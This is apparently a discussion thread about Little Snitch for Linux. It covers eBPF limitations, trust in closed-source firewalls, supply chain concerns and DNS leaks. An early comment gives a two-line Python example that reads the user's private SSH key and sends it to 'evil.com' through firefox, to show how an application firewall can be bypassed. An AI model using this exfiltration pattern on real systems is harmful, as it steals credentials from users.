LittleSnitch for Linux
obdev.at
obdev.at
Say I run a script `suspicious.py' and I deny this script from making any network requests. I also have firefox which is allowed to make any HTTPS requests. If suspicious.py does something like:
key = (Path.home() / '.ssh' / 'id_rsa').read_text()
subprocess.Popen(['firefox', f'https://evil.com/upload/{key}'])
The more granular one gets the more likely they aren't really meaning to ask how to do it in the firewall layer though. E.g. if we take it further to wanting to prevent python -c "specific logic" it's clearer what you can do in the firewall is not necessarily the same as what's practical or useful.
Also: If an interpreter is run via `#!/bin/interpreter` in the script binary, it makes the rule for the script file path, not the interpreter. This does not work when running the script as `interpreter script`, though.
The "good" Windows firewalls like Outpost and Zone Alarm used to have features to catch this, they'd detect when a process tried to invoke or open a running process which had internet access. They'd also do things like detect when a process tried to write a startup item. This went by names like "Leak Control" but it was basically providing near-complete HIDS features with local control.
Maybe an application firewall is useful if one wants firefox but not suspicious.py to be able to upload to evil.com
But IMHO the criteria chosen by the user to decide access and then configure the firewall accordingly, is evil.com not the name of the application
That's why the example in this comment uses the name "evil"
Otherwise, the application name "suspicious" would be enough
> Error: the BPF_PROG_LOAD syscall returned Argument list too long (os error 7).
> littlesnitch.service: Consumed 3min 38.832s CPU time, 13.7G memory peak.
And the second most upvoted comment is someone seriously asking if 2026 if the year of Linux desktop...
Come on, this is an absurd comment. Linux has its issues, this is not a serious example of what is keeping normal people from using Linux as a desktop OS. Normal people are not installing the first release of a privacy networking tool that requires you to OK connections.
I have now installed Fedora in a VM (ARM64 architecture, though) and it does load, but cannot identify processes. I'm investigating this now.
The other issue seems to be with eBPF compatibility. That's a moving target and I'll investigate next. But resources are limited, I'll need some time to dig into this.
"Note: Little Snitch version 1.0.0 does not currently work with the Btrfs file system! Btrfs is used by default on Fedora, so Little Snitch does not currently identify processes on Fedora. We are working on an 1.0.1 release to fix the issue as soon as possible!"
Worth noting that it is closed source. Would be worth contributing patches to OpenSnitch to bring it up to parity with Little Snitch.
I wonder if the decision of Little Snitch to make the Linux version free forever was also informed by this "no way to make money selling tools on Linux" wisdom or if there was another motivation. It seems that if any tool has chances of making decent money on Linux, a product like Little Snitch, which is already well established, with working payment infrastructure would be a good candidate.
I'm as a linux user very reluctant to install anything proprietary that has such sensitive info as my network traffic and would rather use opensnitch or any other foss fork.
The same time I don't mind to pay for open-source, I donate several thousands USD per year to FOSS projects. But I guess I'm in a minority here and if you make the whole stack open-source you're not going to make many sells really.
Slightly? There are quite a few tin foil hat comments on this submission.
I tried to briefly explain a typical i-own-my-computer mindset regarding the linux monetization question from the parent comment.
I can pay for cool stuff I can trust, but the "I can trust" part is very tricky.
It's like the Nazi bar problem. You need to be vigilant to prevent the thing you rely on becoming yet another platform for Microsoft to exfil your personal data to NSA servers.
Everybody says this until they get fucking pwned at work or have their own data or children's data taken and used.
Then it's "not so tin-foily" and maybe it changed your entire life.
You're either paranoid, or a fool at this point.
Regarding daemon open source: The future is hard to predict, even more with AI being just invented. I would love to make it open source, but if you can feed it into Claude and tell it to convert it to a Mac version, we could lose our income.
For the moment, we prefer to keep it closed because we cannot estimate the consequences of making it open source.
Why is Little Snitch for Linux™ so hard to find from the company homepage[1] and the product page from the legacy app[2]?
Did the fact that you knew it was going to be made partially open source factor into your decision to develop a new, JS-and-DOM-based UI rather than having build targets for a shared, cross-platform codebase? (E.g. so that you wouldn't end up disclosing the source for the proprietary Mac version?)
Why are you using minified dependencies (like uPlot.iife.min.js[1] and uPlot.min.css[2]) for a desktop application?
uPlot is also open source (released by Sorokin under MIT), but why aren't you following the terms of its license[3]?
1. <https://github.com/obdev/littlesnitch-linux/blob/main/webroo...>
2. <https://github.com/obdev/littlesnitch-linux/blob/main/webroo...>
It's somewhat strange that they require the license to be reproduced in every copy, but then offer a download without it. But anyway, I'll prepend the license to the next public release.
Thanks for pointing that out!
Mm... the purpose of minification, when it's not (also) being used for obfuscation purposes, is tied directly to the execution model of Web apps—constraints that don't apply for desktop applications (even if they are implemented in e.g. the same programming language or using the same or a similar runtime).
App makers and browser extension developers who shoehorn all of the (frankly already very bad or at least questionable) "best practices" associated with the tooling that was created to deal with creating/maintaining/delivering SPAs and other browser-based products into applications loaded from disk are just fundamentally not thinking things through.
For a security-sensitive application like this one, where a show of nothing-up-the-sleeve is only a benefit, one should expect there to be _no_ minified blobs in use.
Our site is primarily aimed at Mac users, and most visitors skim rather than read carefully. If the Linux package were more prominent, Mac users would likely click it, struggle to install it, and blame us for the confusion.
And regarding your third question: No. The decision was made when I wanted to run it on our headless servers.
It's not that arcane.
Both for the obvious cost reason, but also because manu of us don't like having code ok our computers we can't inspect, especially not in privileged positions like a firewall is. I.e. I don't care much if a game or the Spotify app is closed source, but neither of those run privileged, in fact I run them sandboxed (Flatpak).
[0]: https://en.wikipedia.org/wiki/ZoneAlarm
[1]: https://d2nwkt1g6n1fev.cloudfront.net/helpmax/wp-content/upl...
It can be manually configured with very detailed policies, but you have to know where to go to find those controls.
It's been a while since I used ZoneAlarm or Little Snitch, but the last time I used either one the default behavior was instead that any connection attempt or attempt to listen for which there was not a policy would result in a dialog showing all the details about what application is looking to connect to or receive connections from what as well as a variety of options for creating a policy or even not creating a policy and just deciding whether that one connection would be allowed.
Also back when I used ZoneAlarm I had dialup so the taskbar addon they had which showed realtime bandwidth usage and what applications had active connections was really useful. It also had a big red "Stop" button that would immediately disable all connections, which thinking about it in retrospect really makes me miss the more innocent days of the internet.
Default allows everything though but you could even set outbound blocking rules. Cumbersome UI and no really good visibility though.
Yeah...
It mostly worked exactly as you would want a desktop firewall to, and integrated nicely with Cisco VPN tech, so you could ensure Integrity was operating correctly before fully opening up the tunnel for access to corporate assets.
Also that seems irrelevant because it seems this was implemented in eBPF so no kernel modules are required.
Then it would need to be published as GPL, but with no guarantee that it will ever be accepted.
> Not really sure what a “universal kernel module” really is.
A .ko that can be loaded in a wide range of kernel versions.
> Also that seems irrelevant because it seems this was implemented in eBPF so no kernel modules are required.
And it has serious limitations. There's a chapter of them in the readme.
Shooting yourself in the foot really helps to built intuition!
Playing with your router is still a pain though, especially if you don't have a device with an Ethernet port. You learn all sorts of fun things like "If you change your router's IP address you get logged out of its management at the old IP address" and "Oh, that's what subnet mask means, weird."
Most definitely. The old lessons were hard learned, and they stayed with you. Going through everything, trying all the combinations, and reading obscure materials for any hints.
I don't want to glorify the old hard way of spending perhaps days on problems that ended up being trivial, but it's obviously different now when one can get all the answers and helpful scripts directly from LLMs. Much less is retained.
Simpler times.
A simpler time lol.
Used to use Outpost Firewall Pro, too.
I've just found it and uploaded it to github. Looking at the code, I can see my horrible C style of the time. There's probably bugs galore.
https://github.com/JetSetIlly/Direwall
If I remember correctly, it runs as a commodity and patches the socket library. Interestingly, the socket library was not re-entrant (unusual for Amiga libraries) so I had to patch the Exec OpenLibrary() function to monitor the loading of new copies of the socket library. But it's been a long time so memories are hazy.
It'll be interesting to see if it is still compiles and runs for modern AmigaOS, if any active Amiga programmers are around to see.
There was simply no need for it. GNU provided most of the software, spyware was unknown.
Only since comercial vendors package for linux and bring their spyware along, the desire to inspect network rose.
Quote from LittleSnitch:
> Little Snitch for Linux is built for privacy, not security
What's your definion of malware in this context?
Note that LibreWolf still leaves some of the stuff on for you to manually disable (dom.push.connection.enabled, extension updates).
[0] https://support.mozilla.org/en-US/kb/how-stop-firefox-making...
You're welcome.
Enabling extension updates by default seems like a smart thing, though, as long as you can turn them off easily (there should really be a setting for this), and possibly a 6-month reminder to update them (similar to the refresh your profile reminder when you haven't used the browser in for a while). Extension updates happen, and many of the most widely used extensions (eg. ublock origin) really should be updated every time it's available. Better that than having the extensions go online to fetch and run arbitrary payloads because you know they will if disabling updates gets popular enough.
- GNOME Shell (extension updates without a way to disable this, weather),
- GNOME Calculator (currency exchange rates),
- NetworkManager (periodic hotspot portal checks in most configurations),
- GDB (debuginfod enabled by default),
- Firefox (extension updates, push notifications, feature flags, telemetry, ..., some parts cannot be disabled),
- VSCodium (Open VSX callbacks even when installing extensions from disk with updates disabled, JSON schema auto-downloads, extensions making their own unsolicited requests, ...),
- Electron (dictionary updates from Google servers, no way of disabling; includes any application running on top of upstream Electron, such as Signal, Discord, etc.),
- GoldenDict (audio samples fetched from the Internet on word look-up, no way to disable)
Of course, this is nothing compared to Windows [0] and macOS [1], but the malpractice of making Internet connections without asking, by default, has unfortunately been finding its way everywhere since modems stopped making audible sounds.
Having read about PRISM and seen the leaked dashboards of Paragon Graphite (said to be used by ICE), and with LLMs bridging the gap between mass and targeted surveillance, I don't want any of this.
[0] https://github.com/microsoft/calculator/blob/ffd0519676019a0...
Which would crash (technically hang) if you blocked it. [0]
And let’s not pretend that kde wouldn’t have an extension system if it could - but it’ll never have one because implanting one in that c++ spaghetti nightmare will never happen.
But if not, I'm not criticizing GNOME in isolation here. It's just what I use and what I'm most familiar with. KDE has the same issues and it does have an extension system too. It's called KNewStuff.
Maybe some middleground of having the tool OP sent built-in would be a good option.
But it wasn't always this way, and so, I don't think it has to be. People just need to start paying attention to this.
The impact of a lot of those vulnerabilities would be mitigated if the affected programs didn't connect to the network in the first place.
As for updates in general, I really like the model adopted by Linux update managers and BSD port systems. The entire repository metadata is downloaded from a mirror and cached locally, so the search terms never leave your machine. Downloads happen from the nearest mirrors, there's no "standard" mirror software (unless rsync and Apache count?) so they don't report what was downloaded by whom back to any central system and you can always host your own. Everything is verified via GPG. And most importantly, nothing happens on its own; you're expected to run `apt/dnf update` yourself. It won't randomly eat your bandwidth on a metered connection or reveal your OS details to a public hotspot.
Simple, non-invasive, transparent, (almost) all-encompassing, and centrally configurable.
Of course, about 5-6(?) years ago Google removed it from both the play store and my devices (I allowed it because silly me assumed I could still get it again) because it requested a sensitive permission and didn't support runtime permissions.
Also with the number of remote code execution exploits that have occurred in Web browsers over the years it's hard to know for sure if what you installed hasn't been hijacked unless you spent all your time on gnu.org
ZoneAlarm otoh, was snakeoil. Programs that ran at the same privilege level (typically everything) could bypass it in various ways.
It was quite insistent on the fact that it would be "noisy" at first as it queried all the programs you ran, but would then quieten down once it had been "trained". It got that across in clear, simple language.
I think it was so successful because it got the soft side of its security job right as well as the hard part. It's certainly why I recommended it to anyone at the time...
My personal computer had ZoneAlarm on it. It became ground zero for reporting about infected systems. They ignored systems they thought were save; CISCO phone system running on Windows server and other backend devices. The company then bought a few licenses to run their own laptops.
It is such a same that Microsoft destroyed _ERD Commander_ and other quality tools which assisted in the clean up.
OpenSnitch must be like ten years old by now. I think also portmaster is somewhat similar too.
Back then there was also a nice ~$15 program called Net Limiter which allowed one to cap network speeds individually per program.
> I tried out portmaster recently. Coming from rethinkdns on Android, I was far from impressed; it looks featured, but it's much harder to use. Opensnitch looks better but doesn't have the nice features
If 'far from impressed ... much harder to use' is about Rethink DNS + Firewall... Over the years, we've got numerous complaints about the UI over emails and on GitHub Issues, so we're acutely aware of the fact. In our defense, we have had no help from a designer, and couldn't come up with a good UX even if our life depended on it. We'll keep trying though.
Back when people would try to winnuke others on IRC, the Linux guys would know who sent them the packet and call them out in the channel (and then usually ban them)
Recently I was wondering how you really have to trust something like little snitch given its a full kernel extension effectively able to MITM your whole network stack.
So I went digging (and asked some agents to deep research), and I couldn't find much interesting about the company or its leadership at all.
All a long way to say, anyone know anything about this company?
Yes, they are indie Mac developers who have been in business for more than 20 years, and Little Snitch for Mac is beloved by many users for a long time.
What is that supposed to mean in this context?
Said motivation could be a nation state handing them $XXX million dollars
You're missing the most important part of the motivation here: why in the world would a nation-state give a damn about Little Snitch, especially to the tune of $XXX million dollars?
A nation-state could pay $XXX million to your significant other to spy on you. But again, a nation-state doesn't give a damn about you.
Per user hacked, it can be very cheap¹ compared to bribing anyone. And give data/access that SO can't get.
State is not interested in you until it does. Being Jewish, Polish, Gypsy, Gay. Or just WrongThinking. Or maybe it becomes super cheap and easy to process all information?
1: it can even be free. You either give us backdoor to all your users or you rot in jail. Here's a complementary beating up or pictures of your kids, to argument our position further.
It is already a thing, at least in UK and AU [1]:
> Both countries now claim the right to secretly compel tech companies and individual technologists, including network administrators, sysadmins, and open source developers – to re-engineer software and hardware under their control, so that it can be used to spy on their users. Engineers can be penalized for refusing to comply with fines and prison; in Australia, even counseling a technologist to oppose these orders is a crime.
[1] https://www.eff.org/deeplinks/2018/12/new-fight-online-priva...
2) They are interested in software will billions of users. They are not interested in software with thousands of users.
How many users do you think Little Snitch has?
"This is clownish" https://news.ycombinator.com/item?id=13813828
I think the type of users it attracts (techies, crypto ppl, etc) makes it worth more too.
No, this by itself doesn't make Little Snitch or any business worth $50M. You're dreaming. That's a crazy valuation.
Little Snitch is not a working exploit for iPhone or Android.
> I think that they would be fine with paying 50M for a userbase that has a high population of devs, admins, etc. Being able to backdoor someone like this in the right organization down the line is probably worth 50M.
No, sorry, this is absurd. A ton of products have a high population of devs, admins, etc. These are not getting acquired by intelligence agencies. Give me one example. There's nothing inherently valuable about this population.
Who is a Little Snitch customer worth 50M to attack? Name them.
If you know of someone specific you want to target who uses it, the investment could pay off.
For example, we know from your blog posts that you use LittleSnitch. Someone who wanted to target you might do a lot to spy on you by buying LittleSnitch, probably.
Think of your own apps, too. I don’t think you’d do the same that Ben Surtees did and sell everything in secret, but then again I don’t personally know you. You may have a price that I’m not aware of. For that reason alone, even as I trust the current code is not nefarious, I can never give StopTheMadness access to every website and can only use it selectively, which is inconvenient.
As I said in another comment, Bartender had no target! It was not an attack. An app was sold by one developer to another developer. End of story.
> If you know of someone specific you want to target who uses it
But you don't. And you don't in the case of Little Snitch either.
You can dream up a bunch of absurd hypothetical scenarios, but they are not the reality.
> Someone who wanted to target you
Nobody wants to target me. Nobody cares about me. I am insignificant.
The point is that it shows it can happen. You’re a browser extension developer, surely you know how often it happens that developers of popular extensions are approached by shady businesses and sometimes do even sell.
> You can dream up a bunch of absurd hypothetical scenarios, but they are not the reality.
As someone else has pointed out to you, not hypothetical.
https://news.ycombinator.com/item?id=47699068
> Nobody wants to target me. Nobody cares about me. I am insignificant.
You give yourself too little credit. I know of several developers and other people with influence who use your extensions with complete trust. Compromising you means compromising them, which means compromising even more people. Jia Tan has aptly demonstrated you don’t need to directly attack your final target, only a link in the chain, even if it looks insignificant.
Yes, developers of free extensions who sell for a pittance.
I don't have a popular extension. My extension is relatively expensive and thus unpopular. I don't have enough users to be interesting to shady businesses. My extension is more valuable to me than to anyone else, because I, one person, can make a living from it.
> As someone else has pointed out to you, not hypothetical.
That link seems a bit silly. There's a screenshot with no explanatory context whatsoever. There's a list of items, many of which look quite mundane and uninteresting. Certainly it is not suggesting acquiring the company for millions of dollars. It sounds like someone—could even be an intern for all we know—is interested in attacking the app from the outside.
I agree with tptacek: "This is clownish" https://news.ycombinator.com/item?id=13813828
> You give yourself too little credit.
No, I give myself too much credit. ;-)
> I know of several developers and other people with influence who use your extensions with complete trust. Compromising you means compromising them, which means compromising even more people.
What is the value of compromising these people? Oh noes, the CIA can now write Daring Fireball articles!
> Jia Tan has aptly demonstrated you don’t need to directly attack your final target, only a link in the chain, even if it looks insignificant.
What chain? I have no third-party dependencies. If someone can compromise Apple's operating systems, then my software or Little Snitch is the least of our worries.
I do specifically and intentionally avoid using NPM, because of frequent compromises. Little Snitch is not even JavaScript, so no worries there.
I believe you, and as a fellow indie developer trust you and your intentions and that you’re careful to not be compromised. But if I’m being honest with myself I don’t have concrete proof of any of those. So I trust but also try to limit the blast radius if anything goes wrong. Does that make sense? I think you might agree there.
Your blog helps with that trust and with understanding the human behind it.
> Certainly it is not suggesting acquiring the company for millions of dollars.
Alright, yeah, I see we’re talking a bit past each other in that regard. You’re right that’s how the conversation started (before I joined in) but I don’t care for that angle fully either. I agree there are more plausible ways to achieve the objective.
> Oh noes, the CIA can now write Daring Fireball articles!
Not sure that’d be a downgrade. Maybe they could fix the Markdown perl script, too. Joking aside, I think there would be better targets, like someone on Apple’s Passwords team.
> What chain? I have no third-party dependencies. If someone can compromise Apple's operating systems
I don’t mean it in the sense of software dependencies, but in the sense that some app you use would compromise you. You know macOS’ permissions are mostly security theatre. We know people inside Apple use third-party apps. I can imagine ways of exploiting that, given a bit more knowledge of people from inside (which could be gathered from working there for a while, trawling social media, maybe reading Gruber’s emails, …).
> I do specifically and intentionally avoid using NPM, because of frequent compromises.
Same, no argument from me there.
You seem to be waffling here between targeted and untargeted attacks.
There's a world of difference between compromising me or an Apple employee and compromising my software or Apple's software. You don't magically get the latter from the former.
Untargeted attacks are just looking for the usual stuff, e.g., money. They don't care about who the victims are or what else they have.
It would require a targeted attack to insert mallicious code into my software or into Apple's software. You claim, "I can imagine ways of exploiting that," but I don't actually believe you. If you can imagine it, then explain exactly how.
There's no evidence that anyone is targeting my software or that anyone has any reason to target my software. Even if I downloaded a typical malware app from the web, that wouldn't result in malicious code getting shipped in my software.
I'm not aware of anyone on the Apple Passwords team using my software, so if someone were trying to attack me to get to them, that's seems a bit fruitless, to use a pun. In any case, the chain from compromising me, to compromising my software releases, to compromising an Apple engineer, to compromising Apple software releases, is convoluted to the extreme and would require much more specifics than anyone has given here (or is capable of giving).
In any case, I'm quite careful—though not tin foil hat paranoid—about which software I download and run on my Mac, and I've never downloaded malware in more than 20 years as a Mac user. Obviously I'm careful about my own privacy and security, since I use Little Snitch too!
Why do you think it matters? Little Snitch is used by enough people that it would be completely worthwhile as just an asset. With an infinite budget you don't look for the exploits once you have the target; you accumulate the exploits, and use them as you get targets.
I don't know how you think these apps are useful for small-time criminals to exploit, but governments somehow wouldn't be able to figure out a use for them. It reeks of "I have nothing to hide."
Maybe they use Little Snitch just to figure out what you're running, use another exploit to get into that, get blackmail material on one of your family members through connections made from files on your computer, and offer not to release it and to donate $500K to your project (that they'll set up for you, and will come from some obscure European foundation's fund), or "invest" (with no expectation or even mechanism for getting a return) into your LLC if you insert code into your software. Or even simply accept a pull request, which will be totally deniable if the code gets caught, and the pull request eventually traced to a Chinese/Russian/Iranian/North Korean IP.
I have no idea what evidence you expect people to leave. The goal is not to leave evidence. Why would someone announce that they were interested in you or targeting you?
(Taking this reply as an excuse to write a concurring rant...)
Also, once you've compromised somebody's integrity and got them on the payroll, why not use them for other things? They can join other projects, they can sit on foundation boards, they can become tech media personalities, etc., etc....
There's nothing tinfoil about this. It's cheap and easy. You could subvert every open source project in the world for less than the cost of one fancy plane, or a few fancy missiles. The CIA went in on a crypto company, got it to weaken everyone's crypto, and likely killed the son who inherited it from the previous owner. "Nation-state buying Little Snitch" is not some crazy fantasy, it's a mundane scenario (I'm sounding like LLM today, I think.) Even though OpenSnitch could be compromised even more cheaply, they show all their code.
Also, aggressors don't just use carrots, they use sticks. The Altman sister stuff for example (true or not, works even better if it's true) certainly seems like a stick. Top of the world, then suddenly a jury (easily subverted by a state) puts you in prison or takes away control of your company, and now you're killed (or "kill yourself") in prison or otherwise. Now your widower and your sister own the company, and they say yes to everything. If my multi-billionaire brother molested me, you'd never hear about it because he would have trivially given me enough money to forget about it and him. I wouldn't be filing any lawsuit. Makes me suspect that he's being resistant to something.
Ben Surtees (Bartender’s original developer) burned all the good will accumulated over years in one moment. Never again can anyone trust software under that name.
There were no targets involved. There were no nation-states involved. There were no attacks involved. You might not like the new developer, but this whole discussion of a nation-state and 9 figure payoff is totally ridiculous.
What I didn’t like was the secrecy, that was a breach of user trust. Why wasn’t it announced is the problem.
> little snitch given its a full kernel extension
On macOS, don't think Little Snitch needs kernel exclaves / extensions. Apple provides userspace ("Network Extension") APIs (however limited) for apps like Little Snitch to use (instead of pf).
> effectively able to MITM your whole network stack
"MITM" means something else, anywho... if network observability (not firewall) is the primary need, cross-platform (GUI) sniffers like Sniffnet exist: https://github.com/GyulyVGC/sniffnet
But the trust issue is still real, the daemon has to run as root because it needs to watch for new mounts and keep a table of file system roots up-to-date, even after loading all the eBPF programs. As a root process, it can technically do whatever it wants. Unless you limit it with a kind of mandatory access control (SELinux or similar).
This is the very first release and we will probably come up with a more restricted permission requirement in the future. For the moment, I try to catch up with bug reports. There seems to be more diversity in the Linux landscape than I had expected.
I maintain rustnet, a passive network monitor in the same eBPF + libpcap space, so I ran into a lot of the same issues. Wanted to share what has been working for me on the privilege side, in case any of it is useful for v2.
rustnet ships with setcap 'cap_net_raw,cap_bpf,cap_perfmon+eip' instead of setuid-root. During startup it loads the eBPF programs, opens the pcap handle, and then drops all three caps before touching any packet data. It clears the ambient set, sets PR_SET_NO_NEW_PRIVS, and applies a Landlock ruleset that restricts the filesystem to /proc plus configured log paths and blocks TCP bind/connect on 6.4+ kernels. Code is in src/network/platform/linux/sandbox/ if you want to have a look.
On the "needs to watch mounts" point, totally fair that Little Snitch needs live mount visibility, but I think it is achievable without staying UID 0:
- Watching for mount changes: poll() on /proc/self/mountinfo with POLLPRI wakes on every mount table change from a completely unprivileged process (this is what systemd and mount(8) use internally). Alternatively, an eBPF program on the mount/umount/move_mount tracepoints can be loaded at init and stream events via a ring buffer, with no continued cap cost after load. - Resolving an arbitrary PID to its binary across container mount namespaces: CAP_SYS_PTRACE is enough for that. The /proc/PID/root magic symlink does the namespace translation inline inside the kernel pathwalk, so open("/proc/12345/root/usr/bin/firefox", ...) opens the right file in the right container's view without ever calling setns(), which is what would otherwise need CAP_SYS_ADMIN (the new root).
Reducing the set of privileges is on my todo list, but for the moment I just want to get things working without worrying about self-made limitations.
Regarding mount points: I needed the inode numbers of the mounted nodes. With my last commit this requirement has been dropped and it should be sufficient to read mountinfo (and access config files and sqlite3 databases, of course).
I don't need to get the executable from PID, that's already done in eBPF because I need to apply rules based on executable paths.
Where LittleSnitch is definitely ahead is showing process connections over time after said process has been allowed.
As software should be.
I think it's fair to ask that a developer choosing to build a thing that requires that kind of access should be expected to err on the side of transparency.
https://github.com/evilsocket/opensnitch?tab=readme-ov-file#...
If users consider this software important they should donate so they can keep using it.
FOSS simply isn't sustainable if you want to make a living out of it. It protects a lot of user freedoms - even those that don't actually matter to users that much - at the expense of the rights of developers. There are a lot of ways that developers could be paid and users would still be protected (have access to source and the right to modify). The only ones benefitting from the current situation are BigTech.
/rant
> FOSS simply isn't sustainable if you want to make a living out of it.
This is probably true enough. Yet there are a million open source projects that existed, some for decades. There has go to be another way and another motivation.
> even those that don't actually matter to users that much - at the expense of the rights of developers
I would assume those developers would use a different license or even create their own terms.
> The only ones benefitting from the current situation are BigTech.
Paying the original developers will not change this. Big tech is big. They take whatever they can, sometimes killing the original project in the process. Perhaps a license like GPL is the solution to that particular problem.
I don't mean to come off snarky. I do agree with a lot of the things that you're saying but I see the free software movement as a completely voluntary and human thing. You could not get rid of it if you wanted. Paying for it is an auxiliary thing and concentrates too much on the wrong thing IMO. A lot of free software developers are already gainfully employed, some are millionaires. Yes some are struggling but then they are still voluntarily sharing their work with the whole world. That must mean they have their valid reasons for doing so.
Not exactly. Users still have the software. They don't have updates.
See the issue here? Even if someone just fixes some bugs and security fixes - this alone can be time consuming. At the same time many users can just accept the version without those pathes and don't donate.
So you have a choice - continue to maintain the software for less money or to drop it, leaving donating users with no support.
[1] "Little Snitch for Linux is built for privacy, not security, and that distinction matters. The macOS version can make stronger guarantees because it can have more complexity. On Linux, the foundation is eBPF, which is powerful but bounded: it has strict limits on storage size and program complexity. Under heavy traffic, cache tables can overflow, which makes it impossible to reliably tie every network packet to a process or a DNS name. And reconstructing which hostname was originally looked up for a given IP address requires heuristics rather than certainty. The macOS version uses deep packet inspection to do this more reliably. That's not an option here." -- from https://obdev.at/products/littlesnitch-linux/index.html
Use a filtering proxy instead and no gateway / route to the internet.
2) You're advising security through obscurity instead of a network namespace + firewall.
or DNS stubs with filtering capabilities.
And regarding failed reverse DNS names: Little Snitch is sniffing DNS lookups. If lookups are encrypted, there is little it can do. We usually recommend DNS encryption at the systemd layer, not at app layer. This way we can see lookups on 127.0.0.53 and the actual lookup sent out is still encrypted.
Also, it's currently only sniffing UDP lookups, not TCP. The eBPF part is already very close to the complexity limits (700k instructions of allowed 1M) and adding TCP parsing would exceed this limit. It should be possible to forbid TCP port 53 with a rule, though. Some complex DNS lookups will fail, but routine things should still work.
Perhaps there should be a mode where littlesnitch just does its own lookup using the system-configured rDNS, for example from the ui or for specific processes, etc? It should be cached if it is a recent lookup, so minimal performance implications; and offloaded to the system rDNS resolver, so minimal instruction set.
We do not want the reverse lookup name. For instance, if you look up a google.com name with dig, you get an IP address. If you then do the reverse lookup with dig -x, you get a 1e100.net name. That's as good as the IP address for our purpose.
Plus: We need to respond with a DROP or ALLOW verdict to a network packet without the ability to do any blocking requests. So we can only use information already available in the kernel to decide.
Shameless plug: for anyone who wants something fully open source and terminal-based, I maintain RustNet (https://github.com/domcyrus/rustnet). It's a bit different because it's a TUI for real-time connection monitoring with deep packet inspection, not a firewall. No blocking/rules, but it's cross-platform (Linux/macOS/Windows), the entire codebase is open, and it sandboxes itself after init via Landlock with capability dropping.
If anyone from obdev is reading, please give us a way to pay for it, even if it stays free :), I'd love to support development and would happily pay something between the price of Little Snitch and Little Snitch Mini.
Anyway, thanks a lot!
> You can find Little Snitch for Linux here. It is free, and it will stay that way.
Don't worry, the authors know that there's no point in charging Linux users. Unlike Mac users.
So you might as well make it $0 and the (Linux) crowd goes wild that they don't need to pay a cent.
However...
> I researched a bit, found OpenSnitch, several command line tools, and various security systems built for servers. None of these gave me what I wanted: see which process is making which connections, and in the best case deny with a single click.
OpenSnitch is open source. You don't need to trust it as you can see the code yourself. Little Snitch on the other hand, is completely closed source.
Do you still trust them not to do self-reporting or phoning home, even though it is $0 and closed source?
If you trust Little Snitch on Mac, then yes.
They've been in business for over 20 years. They're not going to blow their entire business and reputation for a few Linux users.
I do wonder however, are they sufficiently careful about their processes and own machines to avoid a supply chain attack completely.
They must be a target for the various hacking groups out there.
A supply chain attack doesn't directly attack an end developer but rather a supplier of the developer. So who or what is the supplier in this case?
No, not really. And I disagree with the premise, "They must be a target for the various hacking groups out there."
How would you even hack them? I'm a developer too; how would you hack me?
I'm not even going to respond to this ridiculousness.
I still don't know why anyone thinks that, among all developers in the world, a little indie Mac developer is getting targeted specifically.
I have the same thoughts about other Mac apps. e.g. iTerm2 - cause they "see" so much sensitive data.
That's not even remotely what I said.
> it’s not like applications or libraries such as axios
iTerm doesn't use NPM. Little Snitch doesn't use NPM. I don't use NPM.
Access to little snitch would be worth millions to the right party.
> The same people who targeted the open source uncommercial library axios last week?
axios is an NPM package. Little Snitch doesn't use NPM. Thus, these people must be pretty damn incompetent if they were trying to target Little Snitch.
> Access to little snitch would be worth millions to the right party.
This is a bold claim with no evidence. I don't think it's true.
Why is it ridiculous? If you have electronic access to something of value and broadcast that fact on the internet, you’re at risk of a physical attack. That’s not controversial? Companies make employees do training about this for a reason.
You're talking as if all all "value" and all "risk" is equal, when they're definitely not. You can't equate a megacorporation with a little indie developer. Nobody cares about the latter.
I am a software developer, and I broadcast that fact on the internet. But nobody is coming to Wisconsin to hit me on the head with a wrench. That's just a silly paranoid fantasy.
If anyone hits me on the head with a wrench, it would be not be a nation-state but rather a two-bit local mugger who has no idea who I am and just wants cash from my wallet. I live in a pretty safe area though.
There's not one single way, so, no, you're just hand-waving here.
So are you going to have this same discussion in every HN submission that mentions any piece of software?
An attack on any of these things has nothing specifically to do with the developers of Little Snitch and would have vastly more widespread and important effects.
Why would you even be talking about Little Snitch if a compiler were compromised?!? Your paranoia here is bizarrely narrow. Little Snitch would be the least of our problems in that case.
This doesn't even make sense. You have no examples.
The comment was asking about preventing a compromised supplier for the developers.
A supply chain attack can be anywhere in the supply chain to the target. If I, the end user, am the target, then a supply chain attack compromising the developer of LittleSnitch is effective.
I may then be a conduit to compromising other software or components, and would both I and LittleSnitch would be part of the supply chain that could be attacked targeting them.
You're not a target, anonymous rando.
Are you going to have this same discussion about every piece of software every mentioned on Hacker News? Why are we having it for Little Snitch specifically?
On the Linux side, there is no single big vendor such as Apple who provides all the necessary libraries. I have tried to choose reputable sources from crates.io only, but to be honest, I don't know a secure solution to the problem.
Anything new to get much better performance from low-spec machines that is idiot-proof is a game-changer.
I've been a GlassWire user for years, which partially fills the role of LS, but not very well. Aside from the many performance issues I've seen, it's missing a lot of LS essentials. To be fair, I think the focus of GlassWire is more about visualizing traffic on your Windows computer, but I definitely believe there is a need for better Windows network software for power users.
If you or I guess anyone is curious sereno[hyphen]alpha[dot]ramble[thenumberoftechn9ne'sfavoriterum]@passinbox.com
Congrats to Objective Development for expanding their well-loved tool to a new platform. You guys rock.
Why does LittleSnitch (Mac) pre-resolve IP addresses, before user presses Accept/Deny?
IMHO DNS queries shouldn't initiate without user input.
Please see my response to OD [I presume /u/littlesnitch is OD representative]. Nobody is disputing their "greatness" — I'm just criticizing a flaw in their approach to domain name filtering.
Hopefully OD will refund my original license (unused for many many many years, after I discovered this flaw). That would be good, in principle; good business. Hopefully OD will be more forthcoming in this vulnerability (or better disclose it) — or better yet: fix the unbelievable behavior.
Instead, /u/LittleSnitch just commented elsewhere "Little Snitch is not a security tool" — interpret accordingly.
> Did the "attention to detail" phrase come from devs or you?
It sure sounds like you're accusing me of something like being a schill.
That comment wasn't mine.
Version 6 added DNS encryption and in principle we could filter lookups (similar to PiHole) at this level. That brings other issues, though: This filter is system-wide, so process-specific rules (and overrides) would not work. And results can be cached by mDNSResponder. So when a blocklist causes an issue, you may not be able to fix it by simply disabling the blocklist. But it's still something we consider.
I've been telling people about ya'll's DNS leaks for over a decade [3] — glad to finally hear back — most people won't believe me [0] until this flaw is demonstrated on their specific machine (easy enough). Those already using LittleSnitch will then typically set up better filtering (e.g. DNS white/blacklist, PiHole, et.alius).
And until the behavior is fixed, I will keep spreading the good word. Does the Linux version have this same flaw (i.e. backend requirements similar to Mac initial IP leak)?
----
A very neat product (LittleSnitch), but I stopped using it solely for above reason [1]. IMHO, this flaw should be better documented in your installer/docs.
